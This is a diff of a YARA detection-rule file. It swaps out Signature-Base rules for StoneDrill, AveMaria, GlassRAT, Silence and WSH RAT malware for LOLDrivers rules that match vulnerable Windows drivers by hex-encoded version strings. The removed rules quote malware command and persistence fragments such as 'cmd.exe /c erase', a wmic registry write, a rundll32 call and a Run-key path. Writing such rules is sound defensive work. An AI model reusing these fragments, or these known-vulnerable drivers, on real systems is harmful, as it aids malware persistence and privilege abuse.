+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00360020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003200200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <700KB and (1 of ($x*) or 3 of ($s*))) or 5 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_Stonedrill : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Almicosoftware_Sfdrvxsys_Speedfan_X_F4EE : FILE
 {
 	meta:
-		description = "Detects malware from StoneDrill threat report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
-		date = "2017-03-07"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stonedrill.yar#L147-L170"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ef7173e259f985083d5451a2d464047b40112a084a05d471797d5dbf2d0fb21d"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sfdrvx64.sys"
+		author = "Florian Roth"
+		id = "efacff94-b2cd-55b8-94ef-076b29aba00d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8000-L8019"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f4ee803eefdb4eaeedb3024c3516f1f9a202c77f4870d6b74356bbde32b3b560"
+		logic_hash = "7ad25b1c03c5f7aff57f6ae40fae6232a0649d643a4ccd6ed1eee886bfad7f68"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "2bab3716a1f19879ca2e6d98c518debb107e0ed8e1534241f7769193807aac83"
-		hash2 = "62aabce7a5741a9270cddac49cd1d715305c1d0505e620bbeaec6ff9b6fd0260"
-		hash3 = "69530d78c86031ce32583c6800f5ffc629acacb18aac4c8bb5b0e915fc4cc4db"
 
 	strings:
-		$x1 = "C-Dlt-C-Trsh-T.tmp" fullword wide
-		$x2 = "C-Dlt-C-Org-T.vbs" fullword wide
-		$s1 = "Hello dear" fullword ascii
-		$s2 = "WRZRZRAR" fullword ascii
-		$opa1 = { 66 89 45 d8 6a 64 ff }
-		$opa2 = { 8d 73 01 90 0f bf 51 fe }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0053007000650065006400460061006e00200078003600340020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006c006d00690063006f00200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00580032002e00300033002e00310031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00580032002e00300033002e00310031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730066006400720076007800360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0053007000650065006400460061006e }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730066006400720076007800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200041006c006d00690063006f00200053006f00660074007700610072006500200032003000300031002d0032003000310033 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and 1 of ($x*) or ( all of ($op*) and all of ($s*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_Stonedrill_VBS_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_5CFA : FILE
 {
 	meta:
-		description = "Detects malware from StoneDrill threat report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a7ee3bd4-eeae-5eb4-92e7-9601ec17300a"
-		date = "2017-03-07"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stonedrill.yar#L172-L192"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "79416d27a6a09d544becd84f8e551c09b94c97181f8fddc481f47e42763d47ac"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "a563b3de-1a05-55bf-ae93-03e84ef1cb26"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8022-L8041"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "5cfad3d473961763306d72c12bd5ae14183a1a5778325c9acacca764b79ca185"
+		logic_hash = "772f33e1190458ffbe4f6636fc775fea47d4ab242cecc5a77d00ee34de4ecf86"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0f4d608a87e36cb0dbf1b2d176ecfcde837070a2b2a049d532d3d4226e0c9587"
 
 	strings:
-		$x1 = "wmic /NameSpace:\\\\root\\default Class StdRegProv Call SetStringValue hDefKey = \"&H80000001\" sSubKeyName = \"Software\\Micros" ascii
-		$x2 = "ping 1.0.0.0 -n 1 -w 20000 > nul" fullword ascii
-		$s1 = "WshShell.CopyFile \"%COMMON_APPDATA%\\Chrome\\" ascii
-		$s2 = "WshShell.DeleteFile \"%temp%\\" ascii
-		$s3 = "WScript.Sleep(10 * 1000)" fullword ascii
-		$s4 = "Set WshShell = CreateObject(\"Scripting.FileSystemObject\") While WshShell.FileExists(\"" ascii
-		$s5 = " , \"%COMMON_APPDATA%\\Chrome\\" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003800200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		( filesize <1KB and 1 of ($x*) or 2 of ($s*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_MAL_Avemaria_RAT_Jul19 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Computerzsys_Ludashisystemdriver_898E : FILE
 {
 	meta:
-		description = "Detects AveMaria RAT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "960048cf-7a56-50cf-8498-549f900770d8"
-		date = "2019-07-01"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/abuse_ch/status/1145697917161934856"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_avemaria_rat.yar#L2-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a848ec579db6a07faeab5c855a56889b4bfeaa2958d0388f7fe8c6dcdea7e457"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "fc239233-68cc-5e0c-94b3-fa78f95998b1"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8044-L8064"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "898e07cf276ec2090b3e7ca7c192cc0fa10d6f13d989ef1cb5826ca9ce25b289"
+		hash = "07d0090c76155318e78a676e2f8af1500c20aaa1e84f047c674d5f990f5a09c8"
+		logic_hash = "8895375f8ce3efa2fec38f6b42d4401b64d5dbde4c1bd9eead31ecb442f72588"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "5a927db1566468f23803746ba0ccc9235c79ca8672b1444822631ddbf2651a59"
 
 	strings:
-		$a1 = "operator co_await" fullword ascii
-		$s1 = "uohlyatqn" fullword ascii
-		$s2 = "index = [%d][%d][%d][%d]" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]9c8159275e08 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e00310030002e003800330031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e00310030002e003800330031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003100300020007700770077002e006c007500640061007300680069002e0063006f006d }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Glassrat
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_AFDA : FILE
 {
 	meta:
-		description = "Detects GlassRAT by RSA (modified by Florian Roth - speed improvements)"
-		author = "RSA RESEARCH"
-		id = "7739d1f6-f16d-5599-9388-a1d89dbeb355"
-		date = "2015-11-03"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_glassRAT.yar#L8-L43"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "939d2cb11ff414641f68b2913fe8d24458e1fd7ba450b8781072bb10da3ad039"
-		score = 75
-		quality = 85
-		tags = ""
-		Info = "GlassRat"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvoclock.sys"
+		author = "Florian Roth"
+		id = "9a6e76da-aff1-5944-a5ce-a056f3f013c4"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8067-L8087"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "afda5af5f210336061bff0fab0ed93ee495312bed639ec5db56fbac0ea8247d3"
+		hash = "b2364c3cf230648dad30952701aef90acfc9891541c7e154e30c9750da213ed1"
+		logic_hash = "c969121df4f2e873fbff32b00484550a8a80e4fcc0cd093a2c93c566c249977a"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$bin1 = {85 C0 B3 01}
-		$bin3 = {68 4C 50 00 10}
-		$bin4 = {68 48 50 00 10}
-		$bin5 = {68 44 50 00 10}
-		$hs = {CB FF 5D C9 AD 3F 5B A1 54 13 FE FB 05 C6 22}
-		$s1 = "pwlfnn10,gzg"
-		$s2 = "AddNum"
-		$s3 = "ServiceMain"
-		$s4 = "The Window"
-		$s5 = "off.dat"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056006900640069006100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00300035002e00350034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00300035002e00350034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9004e0056004900440049004100200043006f00720070002e00200032003000300033002d0032003000300034 }
 
 	condition:
-		all of ($bin*) and $hs and 3 of ($s*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Glassrat_Generic : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Interfacecorporation_Cpxcsys_Gpcxcdiobmpcicpci_6386 : FILE
 {
 	meta:
-		description = "Detects GlassRAT Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d09c4a9f-15ad-56d7-b015-94f494420e98"
-		date = "2015-11-23"
-		modified = "2023-12-05"
-		reference = "https://blogs.rsa.com/peering-into-glassrat/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_glassRAT.yar#L45-L72"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fdd309c403e53bfa80340c1334f90fd5ef5f4618737b19069a07f7aa63aeb23d"
-		score = 80
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CP2X72C.SYS"
+		author = "Florian Roth"
+		id = "b6d09923-9ea3-56a0-9692-ee2cf00545e7"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8090-L8110"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "63865f04c1150655817ed4c9f56ad9f637d41ebd2965b6127fc7c02757a7800e"
+		hash = "9c8ed1506b3e35f5eea6ac539e286d46ef76ddbfdfc5406390fd2157c762ce91"
+		logic_hash = "ceae34b4cd1698fc1d779b5860437b1017401c8f954d74804fcdbb13a5603186"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "30d26aebcee21e4811ff3a44a7198a5c519843a24f334880384a7158e07ae399"
-		hash2 = "3bdeb3805e9230361fb93c6ffb0bfec8d3aee9455d95b2428c7f6292d387d3a4"
-		hash3 = "79993f1912958078c4d98503e00dc526eb1d0ca4d020d17b010efa6c515ca92e"
-		hash4 = "a9b30b928ebf9cda5136ee37053fa045f3a53d0706dcb2343c91013193de761e"
-		hash5 = "c11faf7290299bb13925e46d040ed59ab3ca8938eab1f171aa452603602155cb"
-		hash6 = "d95fa58a81ab2d90a8cbe05165c00f9c8ad5b4f49e98df2ad391f5586893490d"
-		hash7 = "f1209eb95ce1319af61f371c7f27bf6846eb90f8fd19e8d84110ebaf4744b6ea"
 
 	strings:
-		$s1 = "cmd.exe /c %s" fullword ascii
-		$s2 = "update.dll" fullword ascii
-		$s3 = "SYSTEM\\CurrentControlSet\\Services\\RasAuto\\Parameters" fullword ascii
-		$s4 = "%%temp%%\\%u" fullword ascii
-		$s5 = "\\off.dat" ascii
-		$s6 = "rundll32 \"%s\",AddNum" fullword ascii
-		$s7 = "cmd.exe /c erase /F \"%s\"" fullword ascii
-		$s8 = "SYSTEM\\ControlSet00%d\\Services\\RasAuto" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004700500043002d0032005800370032004300200049002f004f0020004d006f00640075006c006500200044006500760069006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e007400650072006600610063006500200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e00300032002e00330030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e00300032002e00330030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043005000320058003700320043002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004700500043002d00320058003700320043002000440049004f002d0042004d0028005000430049002f0043002d0050004300490029 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043005000320058003700320043002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200032003000300031002c0020003200300031003400200049006e007400650072006600610063006500200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <15MB and 5 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Silence_Malware_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrddkprovider_Rtportsys_Windowsrddkdriver_C490 : FILE
 {
 	meta:
-		description = "Detects malware sample mentioned in the Silence report on Securelist"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f932e3fe-a2d7-55b7-b581-88c0ed45723e"
-		date = "2017-11-01"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/the-silence/83009/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_silence.yar#L13-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b88795268c080fe19f7e185d1542b520616fe6c00bae23a99981aa1ee8abacb3"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtport.sys"
+		author = "Florian Roth"
+		id = "054d4045-5d8d-5bd9-aaba-3a0cbef517af"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8113-L8134"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "c490d6c0844f59fdb4aa850a06e283fbf5e5b6ac20ff42ead03d549d8ae1c01b"
+		hash = "a29093d4d708185ba8be35709113fb42e402bbfbf2960d3e00fd7c759ef0b94e"
+		hash = "e3dbafce5ad2bf17446d0f853aeedf58cc25aa1080ab97e22375a1022d6acb16"
+		logic_hash = "380ba354000358c8d9035f44b83c14b2d38bdfafbba7cc8b33d190884d43874a"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f24b160e9e9d02b8e31524b8a0b30e7cdc66dd085e24e4c58240e4c4b6ec0ac2"
 
 	strings:
-		$x1 = "adobeudp.exe" fullword wide
-		$x2 = "%s\\adobeudp.exeZone.Identifier" fullword ascii
-		$x3 = "%s\\igfxpers_%08x.exe" fullword ascii
-		$x4 = "%s\\adobeudp.exe" fullword ascii
-		$s1 = "SoftWare\\MicroSoft\\Windows\\CurrentVersion\\Run" fullword ascii
-		$s2 = "Copyright (C)  1999 - 2017" fullword wide
-		$s3 = "%sget.php?name=%x" fullword ascii
-		$s4 = "VNASSRUNXYC" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00470065006e006500720069006300200050006f0072007400200049002f004f }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300030002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00300030002e0032003100390035002e0031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00300030002e0032003100390035002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007200740070006f00720074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300030002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007200740070006f00720074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d006900630072006f0073006f0066007400200043006f00720070002e00200031003900380031002d0031003900390039 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="e03edb9bd7cbe200dc59f361db847f8a" or 1 of ($x*) or 3 of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Silence_Malware_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Arthurliberman_Alsysiosys_Alsysio_119C : FILE
 {
 	meta:
-		description = "Detects malware sample mentioned in the Silence report on Securelist"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e4c7d753-fd04-5e11-9960-1ad238039c11"
-		date = "2017-11-01"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/the-silence/83009/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_silence.yar#L40-L64"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8cb6320eac984b7a332c1c84582a7ca7e90d409e518106c4e7655948f6863889"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ALSysIO64.sys"
+		author = "Florian Roth"
+		id = "abb75d3f-eeb2-5ae7-976a-3f9e8627d6ca"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8137-L8156"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "119c48b79735fda0ecd973d77d9bdc6b329960caed09b38ab454236ca039d280"
+		logic_hash = "1ff636a8954a5f049c582d8436111ffe5a4e89e3f38870c9c8ac9706f0b1acd2"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "75b8f534b2f56f183465ba2b63cfc80b7d7d1d155697af141447ec7144c2ba27"
 
 	strings:
-		$x1 = "\\ScreenMonitorService\\Release\\smmsrv.pdb" ascii
-		$x2 = "\\\\.\\pipe\\{73F7975A-A4A2-4AB6-9121-AECAE68AABBB}" fullword ascii
-		$s1 = "My Sample Service: ServiceMain: SetServiceStatus returned error" fullword ascii
-		$s2 = "\\mss.exe" ascii
-		$s3 = "\\out.dat" ascii
-		$s4 = "\\mss.txt" ascii
-		$s5 = "Default monitor" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004c0053007900730049004f00360034 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041007200740068007500720020004c0069006200650072006d0061006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e00310031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e00310031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004c0053007900730049004f00360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004c0053007900730049004f00360034 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004c0053007900730049004f00360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300033002d003200300031003900200041007200740068007500720020004c0069006200650072006d0061006e }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="69f3ec173efb6fd3ab5f79e0f8051335" or (1 of ($x*) or 3 of them ))) or (5 of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_MAL_Wshrat_Dotnet_Packer_Feb21 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_263E : FILE
 {
 	meta:
-		description = "Yara Rule for WSH rat .NET packer of February 2021 "
-		author = "Yoroi Malware ZLab"
-		id = "62e043fc-7d13-5b91-9fdd-e71d91194da2"
-		date = "2021-03-09"
-		modified = "2023-12-05"
-		reference = "https://yoroi.company/research/threatening-within-budget-how-wsh-rat-is-abused-by-cyber-crooks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_wsh_rat.yar#L1-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "18159b140c314a00111fb9453e60d19c11633628a4fe2ad8299b839165b39424"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		id = "2ff1ee8e-cd67-58e7-b301-e1f7712b6031"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8159-L8178"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "263e8f1e20612849aea95272da85773f577fd962a7a6d525b53f43407aa7ad24"
+		logic_hash = "c4a5f4e6908dcf3280adcebb9d8c58fb58be06267b524cb37f15d99091eb4a98"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$a1 = { BE DD 60 8C 34 49 9A 54 D2 40 }
-		$a2 = { 1D D7 24 22 47 A6 B1 A5 }
-		$a3 = { 13 30 03 00 07 00 00 00 01 }
-		$a4 = { 11 02 03 7D 78 00 00 04 2A }
-		$a5 = { A8 8A F4 C8 61 2B CA 07 }
-		$a6 = { 15 AE 5E AB 5A 20 FE B5 56 B4 61 2B BB 06 2A}
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
